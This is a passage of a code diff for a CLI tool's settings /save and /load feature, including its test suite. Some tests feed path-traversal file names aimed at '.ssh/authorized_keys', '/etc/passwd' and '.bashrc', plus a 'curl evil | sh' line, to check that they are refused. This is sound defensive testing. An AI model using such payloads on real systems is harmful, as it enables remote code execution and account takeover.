+ return 0; + } + + if (!changes.length) { + // Still write the marker: the files match, so this machine *is* at that + // revision, and recording it is what lets the next `/save` push without + // being told it might be clobbering someone. + saveMarker(markerFor({ revision, digest: digestFiles(files), files, host: hostname, api: endpoint(creds) }), home); + if (json) emit({ status: "unchanged", revision, files: [] }); + else write(`already at revision ${revision} — nothing to change`); + return 0; + } + + let applied; + try { applied = applyFiles(files, { home }); } + catch (e) { + if (json) emit({ status: "failed", error: String(e.message || e) }); + else write(`could not write the settings: ${String(e.message || e)}`); + return 1; + } + + saveMarker(markerFor({ revision, digest: digestFiles(files), files, host: hostname, api: endpoint(creds) }), home); + + const written = applied.filter((p) => p.written); + if (json) { + emit({ status: "loaded", revision, from, files: written.map((w) => w.path), rejected }); + return 0; + } + write(`loaded revision ${revision}${from ? ` from ${from}` : ""} — ${plural(written.length, "file")} written`); + for (const item of written) write(` ${item.action === "new" ? "added " : "replaced"} ${item.path}`); + for (const r of rejected) write(` ignored ${r.path} — ${r.reason}`); + + // Names only, and only the missing ones. The snapshot records what the source + // machine had installed because that is most of what makes a pit feel like + // yours — but installing an engine is a download and a shell script, so this + // is a sentence, not an action. + const theirs = res.body?.snapshot?.installed || {}; + const missing = [ + ...(theirs.engines || []).filter((n) => !(installed.engines || []).includes(n)), + ...(theirs.tools || []).filter((n) => !(installed.tools || []).includes(n)), + ]; + if (missing.length) { + write(ash(` that machine also had ${missing.join(", ")} — \`/install \` to match it`)); + } + return 0; +} diff --git a/src/tui.mjs b/src/tui.mjs index af00e0b..4287b86 100644 --- a/src/tui.mjs +++ b/src/tui.mjs @@ -15,6 +15,7 @@ import { runUpgrade } from "./upgrade.mjs"; import { locate, tilde } from "./pwd.mjs"; import { createPrd, listPrds, authoringPrompt } from "./prd.mjs"; import { loginAuto, whoami, logout } from "./auth.mjs"; +import { loadCommand, saveCommand } from "./settings-sync.mjs"; import { createMirror, teeOutput } from "./mirror.mjs"; import { fetchMotdAd } from "./ads.mjs"; import { runScript } from "./runtime.mjs"; @@ -728,6 +729,10 @@ export async function tui() { continue; } if (cmd === "logout") { logout(); continue; } + // Settings sync. Never closes readline: both are one request and some + // printing, and the prompt is where you were about to type `/load` again. + if (cmd === "save") { await saveCommand(rest, { write: (l) => console.log(` ${l}`) }); continue; } + if (cmd === "load") { await loadCommand(rest, { write: (l) => console.log(` ${l}`) }); continue; } if (cmd === "run") { await runFile(rest); continue; diff --git a/test/settings-sync.test.mjs b/test/settings-sync.test.mjs new file mode 100644 index 0000000..d05307b --- /dev/null +++ b/test/settings-sync.test.mjs @@ -0,0 +1,460 @@ +// Settings sync — `/save` and `/load`. +// +// $HOME is a temp dir in every test: the module derives every path per call for +// exactly this reason, and a suite that read the aliases of whoever ran it would +// also be a suite that could overwrite them. +import assert from "node:assert/strict"; +import crypto from "node:crypto"; +import fs from "node:fs"; +import { mkdtempSync } from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import test from "node:test"; + +import { + MAX_FILE_BYTES, + NEVER_SYNCED, + SNAPSHOT_VERSION, + SYNCED_FILES, + applyFiles, + collectSnapshot, + digestFiles, + isSyncable, + loadCommand, + loadMarker, + localDrift, + markerPath, + planApply, + saveCommand, + validateSnapshot, +} from "../src/settings-sync.mjs"; + +const HOSTNAME = "testbox"; +const INSTALLED = { engines: ["claude"], tools: ["gh"] }; + +/** + * The files whose digest both sides pin. Kept identical to the fixture in + * apps/pwa/test/settings-sync.test.mjs — that is the point of it. + */ +const DIGEST_FIXTURE = { + "aliases.json": { content: '{"gs":"git status"}' }, + "herd/rules.json": { content: "{}" }, +}; + +function home({ aliases = null, rules = null, credentials = true, marker = null } = {}) { + const dir = mkdtempSync(path.join(tmpdir(), "moshcode-sync-")); + const moshcode = path.join(dir, ".moshcode"); + fs.mkdirSync(moshcode, { recursive: true }); + if (credentials) { + fs.writeFileSync(path.join(moshcode, "credentials.json"), + JSON.stringify({ token: "mck_super_secret", email: "a@b.c" })); + } + if (aliases) fs.writeFileSync(path.join(moshcode, "aliases.json"), aliases); + if (rules) { + fs.mkdirSync(path.join(moshcode, "herd"), { recursive: true }); + fs.writeFileSync(path.join(moshcode, "herd", "rules.json"), rules); + } + if (marker) fs.writeFileSync(path.join(moshcode, "sync.json"), JSON.stringify(marker)); + return dir; +} + +const read = (dir, rel) => fs.readFileSync(path.join(dir, ".moshcode", rel), "utf8"); +const exists = (dir, rel) => fs.existsSync(path.join(dir, ".moshcode", rel)); + +/** A fetch stub: records calls, answers from a queue of [status, body]. */ +function stubFetch(replies) { + const calls = []; + const queue = [...replies]; + const impl = async (url, init = {}) => { + calls.push({ url: String(url), method: init.method || "GET", body: init.body ? JSON.parse(init.body) : null }); + const [status, body] = queue.shift() || [500, { error: "no reply queued" }]; + return { + ok: status >= 200 && status < 300, + status, + text: async () => JSON.stringify(body), + }; + }; + impl.calls = calls; + return impl; +} + +/** The per-file digest the marker stores — tests build markers that look real. */ +const hash = (content) => crypto.createHash("sha256").update(content).digest("hex"); + +const CREDS = { api: "https://app.test", token: "mck_test", email: "a@b.c" }; +const lines = () => { + const out = []; + const write = (line) => out.push(String(line)); + write.text = () => out.join("\n"); + write.out = out; + return write; +}; + +/* ------------------------------------------------------------ the allowlist */ + +test("the credential file is never syncable, whatever the allowlist says", () => { + // The token this feature authenticates with lives beside the files it syncs. + // Syncing it would hand every machine that ran /load a credential it was never + // issued, so it is refused by name as well as by omission. + assert.equal(isSyncable("credentials.json"), false); + for (const never of NEVER_SYNCED) { + assert.equal(isSyncable(never), false, `${never} must never sync`); + assert.ok(!SYNCED_FILES.some((f) => f.path === never), `${never} is in both lists`); + } + assert.equal(isSyncable("pkg/moshcode/bin/moshcode"), false); + assert.equal(isSyncable("aliases.json"), true); +}); + +test("a snapshot carries the settings and nothing else from ~/.moshcode", () => { + const dir = home({ aliases: '{"gs":"git status"}', rules: '{"blocked":["\\\\?"]}' }); + fs.writeFileSync(path.join(dir, ".moshcode", "herd", "sessions.json"), '{"live":1}'); + + const { snapshot, included, skipped } = collectSnapshot({ + home: dir, hostname: HOSTNAME, version: "9.9.9", installed: INSTALLED, + }); + + assert.deepEqual(Object.keys(snapshot.files).sort(), ["aliases.json", "herd/rules.json"]); + assert.equal(snapshot.version, SNAPSHOT_VERSION); + assert.equal(snapshot.host, HOSTNAME); + assert.equal(snapshot.moshcode, "9.9.9"); + assert.deepEqual(snapshot.installed, INSTALLED); + assert.equal(included.length, 2); + assert.deepEqual(skipped, []); + + const serialized = JSON.stringify(snapshot); + assert.ok(!serialized.includes("mck_super_secret"), "the API token reached the snapshot"); + assert.ok(!serialized.includes("sessions.json"), "live herd state reached the snapshot"); +}); + +test("a file that is present but unusable is reported, not silently dropped", () => { + const dir = home({ aliases: "{not json" }); + const { included, skipped } = collectSnapshot({ home: dir, installed: INSTALLED }); + assert.deepEqual(included, []); + assert.equal(skipped.length, 1); + assert.match(skipped[0].reason, /valid JSON/); + + const big = home({ aliases: JSON.stringify({ a: "x".repeat(MAX_FILE_BYTES) }) }); + const oversize = collectSnapshot({ home: big, installed: INSTALLED }); + assert.equal(oversize.included.length, 0); + assert.match(oversize.skipped[0].reason, /cap/); +}); + +test("the digest is over names and contents, and is order-independent", () => { + const a = digestFiles({ "aliases.json": { content: "1" }, "herd/rules.json": { content: "2" } }); + const b = digestFiles({ "herd/rules.json": { content: "2" }, "aliases.json": { content: "1" } }); + assert.equal(a, b); + // Framed lengths, so content cannot be arranged to look like a different file list. + assert.notEqual(a, digestFiles({ "aliases.json": { content: "12" } })); +}); + +test("the digest of a fixed input is pinned, because the app computes it too", () => { + // The app recomputes this over the same bytes (apps/pwa/src/routes/settings-sync.mjs, + // digestSnapshot) and pins the same hex in its own suite. They diverged once — + // one framed its fields with a NUL and the other with a space — and nothing + // caught it, because no code path compared the two. This is that catch. + assert.equal( + digestFiles(DIGEST_FIXTURE), + "659fc77cca201fa9499620fc6bf34535d30313c4748658c84e5887ba0aa2761b", + ); +}); + +/* ------------------------------------------------- what arrives off the wire */ + +test("a snapshot from the network cannot write outside the settings dir", () => { + const { ok, files, rejected } = validateSnapshot({ + version: 1, + files: { + "aliases.json": { content: "{}" }, + "../../.ssh/authorized_keys": { content: "ssh-rsa AAAA" }, + "/etc/passwd": { content: "root:x:0:0" }, + "herd/../../.bashrc": { content: "curl evil | sh" }, + "unknown-file.json": { content: "{}" }, + }, + }); + assert.equal(ok, true); + assert.deepEqual(Object.keys(files), ["aliases.json"]); + assert.equal(rejected.length, 4, "every hostile or unknown name must be refused by name"); +}); + +test("a snapshot from a newer moshcode is refused with the upgrade to run", () => { + const { ok, error } = validateSnapshot({ version: SNAPSHOT_VERSION + 1, files: { "aliases.json": { content: "{}" } } }); + assert.equal(ok, false); + assert.match(error, /newer moshcode/); + assert.match(error, /upgrade/); +}); + +test("a settings file that is not the JSON it claims to be is not written", () => { + const { files, rejected } = validateSnapshot({ version: 1, files: { "aliases.json": { content: "{oops" } } }); + assert.deepEqual(files, {}); + assert.match(rejected[0].reason, /valid JSON/); +}); + +test("applying writes owner-only, and leaves identical files alone", () => { + const dir = home({ aliases: '{"gs":"git status"}' }); + const files = { "aliases.json": { content: '{"gs":"git status"}' }, "herd/rules.json": { content: "{}" } }; + + const plan = planApply(files, { home: dir }); + assert.deepEqual(plan.map((p) => [p.path, p.action]), [["aliases.json", "same"], ["herd/rules.json", "new"]]); + + const applied = applyFiles(files, { home: dir }); + assert.equal(applied.find((p) => p.path === "aliases.json").written, undefined); + assert.equal(applied.find((p) => p.path === "herd/rules.json").written, true); + assert.equal(read(dir, "herd/rules.json"), "{}"); + assert.equal(fs.statSync(path.join(dir, ".moshcode", "herd", "rules.json")).mode & 0o777, 0o600); + // No temp file left behind by the atomic write. + assert.deepEqual(fs.readdirSync(path.join(dir, ".moshcode", "herd")), ["rules.json"]); +}); + +/* ------------------------------------------------------------------- /save */ + +test("/save without a login says which command to run", async () => { + const write = lines(); + const code = await saveCommand([], { + home: home({ aliases: "{}" }), creds: null, write, installed: INSTALLED, + fetchImpl: stubFetch([]), + }); + assert.equal(code, 1); + assert.match(write.text(), /\/login/); +}); + +test("/save with nothing to save is not an error", async () => { + const write = lines(); + const code = await saveCommand([], { + home: home({}), creds: CREDS, write, installed: INSTALLED, fetchImpl: stubFetch([]), + }); + assert.equal(code, 0); + assert.match(write.text(), /nothing to save/); +}); + +test("/save uploads, then records the revision it agreed on", async () => { + const dir = home({ aliases: '{"gs":"git status"}' }); + const fetchImpl = stubFetch([[200, { revision: 4, digest: "d", savedAt: 1 }]]); + const write = lines(); + + const code = await saveCommand([], { home: dir, creds: CREDS, fetchImpl, write, hostname: HOSTNAME, version: "1.2.3", installed: INSTALLED }); + assert.equal(code, 0); + assert.equal(fetchImpl.calls.length, 1); + assert.equal(fetchImpl.calls[0].method, "PUT"); + assert.equal(fetchImpl.calls[0].url, "https://app.test/api/settings"); + assert.equal(fetchImpl.calls[0].body.ifRevision, null, "a machine that never synced sends no precondition"); + + const marker = loadMarker(dir); + assert.equal(marker.revision, 4); + assert.equal(marker.api, "https://app.test"); + assert.ok(marker.files["aliases.json"], "the marker records a digest per file"); + assert.equal(fs.statSync(markerPath(dir)).mode & 0o777, 0o600); + assert.match(write.text(), /revision 4/); +}); + +test("/save sends the revision it last saw, and reports a conflict rather than winning it", async () => { + const dir = home({ aliases: '{"gs":"git status --short"}', marker: { revision: 7, digest: "stale", at: 1, files: {} } }); + const fetchImpl = stubFetch([[409, { error: "moved on", revision: 9 }]]); + const write = lines(); + + const code = await saveCommand([], { home: dir, creds: CREDS, fetchImpl, write, installed: INSTALLED }); + assert.equal(code, 1); + assert.equal(fetchImpl.calls[0].body.ifRevision, 7); + assert.match(write.text(), /revision 9/); + assert.match(write.text(), /\/load/); + assert.match(write.text(), /--force/); + assert.equal(loadMarker(dir).revision, 7, "a refused save must not move the marker"); +}); + +test("/save --force drops the precondition", async () => { + const dir = home({ aliases: "{}", marker: { revision: 7, digest: "stale", at: 1, files: {} } }); + const fetchImpl = stubFetch([[200, { revision: 10 }]]); + await saveCommand(["--force"], { home: dir, creds: CREDS, fetchImpl, write: lines(), installed: INSTALLED }); + assert.equal(fetchImpl.calls[0].body.ifRevision, null); + assert.equal(loadMarker(dir).revision, 10); +}); + +test("'nothing changed' is the account's answer, not a local guess", async () => { + // The app recognises a byte-identical snapshot and returns the revision it + // already holds. Deciding this locally from the marker was wrong in the one + // case that matters: after the saved settings are deleted from the web, every + // machine confidently reported "already saved" and refused to re-upload. + const dir = home({ aliases: '{"gs":"git status"}' }); + const { snapshot } = collectSnapshot({ home: dir, installed: INSTALLED }); + fs.writeFileSync(markerPath(dir), JSON.stringify({ revision: 3, digest: digestFiles(snapshot.files), at: Date.now(), files: {} })); + + const fetchImpl = stubFetch([[200, { revision: 3, digest: "d", savedAt: Date.now(), unchanged: true }]]); + const write = lines(); + const code = await saveCommand([], { home: dir, creds: CREDS, fetchImpl, write, installed: INSTALLED }); + assert.equal(code, 0); + assert.equal(fetchImpl.calls.length, 1, "the account is asked"); + assert.match(write.text(), /already saved/); +}); + +test("a stale marker cannot stop a save the account needs", async () => { + // The marker says revision 3 with these exact files; the account has since + // been emptied and answers with a fresh revision 1. The machine must accept + // that answer rather than insisting it is already saved. + const dir = home({ aliases: '{"gs":"git status"}' }); + const { snapshot } = collectSnapshot({ home: dir, installed: INSTALLED }); + fs.writeFileSync(markerPath(dir), JSON.stringify({ revision: 3, digest: digestFiles(snapshot.files), at: Date.now(), files: {} })); + + const fetchImpl = stubFetch([[200, { revision: 1, digest: "d", savedAt: Date.now() }]]); + const write = lines(); + const code = await saveCommand([], { home: dir, creds: CREDS, fetchImpl, write, installed: INSTALLED }); + assert.equal(code, 0); + assert.match(write.text(), /revision 1/); + assert.equal(loadMarker(dir).revision, 1, "the marker follows the account, not the other way round"); +}); + +test("/save --dry-run lists the files and touches nothing", async () => { + const dir = home({ aliases: "{}" }); + const fetchImpl = stubFetch([]); + const write = lines(); + const code = await saveCommand(["--dry-run"], { home: dir, creds: CREDS, fetchImpl, write, installed: INSTALLED }); + assert.equal(code, 0); + assert.equal(fetchImpl.calls.length, 0); + assert.match(write.text(), /would save/); + assert.equal(exists(dir, "sync.json"), false); +}); + +test("/save --json is parseable, including its failures", async () => { + const write = lines(); + await saveCommand(["--json"], { home: home({ aliases: "{}" }), creds: null, write, fetchImpl: stubFetch([]), installed: INSTALLED }); + assert.equal(JSON.parse(write.text()).status, "not_logged_in"); +}); + +test("an unknown option is refused rather than ignored", async () => { + const write = lines(); + assert.equal(await saveCommand(["--yolo"], { home: home({}), creds: CREDS, write, fetchImpl: stubFetch([]), installed: INSTALLED }), 1); + assert.match(write.text(), /--yolo/); +}); + +/* ------------------------------------------------------------------- /load */ + +const snapshotFor = (files, extra = {}) => ({ + version: 1, host: "laptop", moshcode: "1.0.0", installed: { engines: ["codex"], tools: [] }, files, ...extra, +}); + +test("/load writes the account's settings onto a fresh machine", async () => { + const dir = home({}); + const fetchImpl = stubFetch([[200, { + revision: 5, + snapshot: snapshotFor({ "aliases.json": { content: '{"gs":"git status"}' } }), + }]]); + const write = lines(); + + const code = await loadCommand([], { home: dir, creds: CREDS, fetchImpl, write, installed: { engines: [], tools: [] } }); + assert.equal(code, 0); + assert.equal(read(dir, "aliases.json"), '{"gs":"git status"}'); + assert.equal(loadMarker(dir).revision, 5); + assert.match(write.text(), /revision 5/); + // The engines the source machine had are named, never installed. + assert.match(write.text(), /codex/); +}); + +test("/load refuses to overwrite a file edited since the last sync", async () => { + const dir = home({ aliases: '{"gs":"git status"}' }); + // Synced once, then edited locally: the marker still holds the old digest. + const { snapshot } = collectSnapshot({ home: dir, installed: INSTALLED }); + const before = digestFiles(snapshot.files); + fs.writeFileSync(markerPath(dir), JSON.stringify({ + revision: 2, digest: before, at: Date.now(), + files: { "aliases.json": hash('{"gs":"git status"}') }, + })); + fs.writeFileSync(path.join(dir, ".moshcode", "aliases.json"), '{"gs":"git status --short"}'); + + const remote = snapshotFor({ "aliases.json": { content: '{"gs":"git log"}' } }); + const write = lines(); + const code = await loadCommand([], { + home: dir, creds: CREDS, write, + fetchImpl: stubFetch([[200, { revision: 6, snapshot: remote }]]), + installed: { engines: [], tools: [] }, + }); + + assert.equal(code, 1); + assert.equal(read(dir, "aliases.json"), '{"gs":"git status --short"}', "local work must survive a refusal"); + assert.match(write.text(), /aliases\.json/); + assert.match(write.text(), /--force/); + assert.equal(loadMarker(dir).revision, 2); + + // --force is the escape hatch, and it says what it did. + const forced = lines(); + const code2 = await loadCommand(["--force"], { + home: dir, creds: CREDS, write: forced, + fetchImpl: stubFetch([[200, { revision: 6, snapshot: remote }]]), + installed: { engines: [], tools: [] }, + }); + assert.equal(code2, 0); + assert.equal(read(dir, "aliases.json"), '{"gs":"git log"}'); + assert.equal(loadMarker(dir).revision, 6); +}); + +test("/load --dry-run reports the plan and writes nothing", async () => { + const dir = home({ aliases: '{"gs":"git status"}' }); + const write = lines(); + const code = await loadCommand(["--dry-run"], { + home: dir, creds: CREDS, write, + fetchImpl: stubFetch([[200, { revision: 8, snapshot: snapshotFor({ "aliases.json": { content: '{"gs":"git log"}' } }) }]]), + installed: { engines: [], tools: [] }, + }); + assert.equal(code, 0); + assert.equal(read(dir, "aliases.json"), '{"gs":"git status"}'); + assert.equal(exists(dir, "sync.json"), false); + assert.match(write.text(), /changed\s+aliases\.json/); +}); + +test("/load will not be talked into writing outside the settings dir", async () => { + const dir = home({}); + const escape = path.join(dir, "pwned"); + const write = lines(); + const code = await loadCommand([], { + home: dir, creds: CREDS, write, + fetchImpl: stubFetch([[200, { + revision: 1, + snapshot: snapshotFor({ + "../pwned": { content: "owned" }, + "aliases.json": { content: "{}" }, + }), + }]]), + installed: { engines: [], tools: [] }, + }); + assert.equal(code, 0); + assert.equal(fs.existsSync(escape), false, "a path outside ~/.moshcode was written"); + assert.equal(read(dir, "aliases.json"), "{}"); + assert.match(write.text(), /ignored/); +}); + +test("/load with an empty account explains how to fill it", async () => { + const write = lines(); + const code = await loadCommand([], { + home: home({}), creds: CREDS, write, fetchImpl: stubFetch([[404, { error: "nothing saved yet" }]]), + installed: { engines: [], tools: [] }, + }); + assert.equal(code, 1); + assert.match(write.text(), /\/save/); +}); + +test("a network failure is a line and an exit code, never a throw", async () => { + const dead = async () => { throw new Error("ECONNREFUSED"); }; + const write = lines(); + const code = await loadCommand([], { home: home({}), creds: CREDS, write, fetchImpl: dead, installed: { engines: [], tools: [] } }); + assert.equal(code, 1); + assert.match(write.text(), /could not (load|reach)/); +}); + +test("an expired session points at /login rather than at the status code", async () => { + const write = lines(); + await loadCommand([], { home: home({}), creds: CREDS, write, fetchImpl: stubFetch([[401, { error: "invalid" }]]), installed: { engines: [], tools: [] } }); + assert.match(write.text(), /\/login/); +}); + +test("drift is named per file so the message can be acted on", () => { + const dir = home({ aliases: '{"a":"1"}', rules: "{}" }); + const { snapshot } = collectSnapshot({ home: dir, installed: INSTALLED }); + fs.writeFileSync(markerPath(dir), JSON.stringify({ + revision: 1, digest: digestFiles(snapshot.files), at: Date.now(), + files: { "aliases.json": hash('{"a":"1"}'), "herd/rules.json": hash("{}") }, + })); + assert.deepEqual(localDrift({ home: dir }), { known: true, drifted: false, digest: digestFiles(snapshot.files), files: [] }); + + fs.writeFileSync(path.join(dir, ".moshcode", "aliases.json"), '{"a":"2"}'); + const drift = localDrift({ home: dir }); + assert.equal(drift.drifted, true); + assert.deepEqual(drift.files, ["aliases.json"], "only the file that moved is named"); +}); +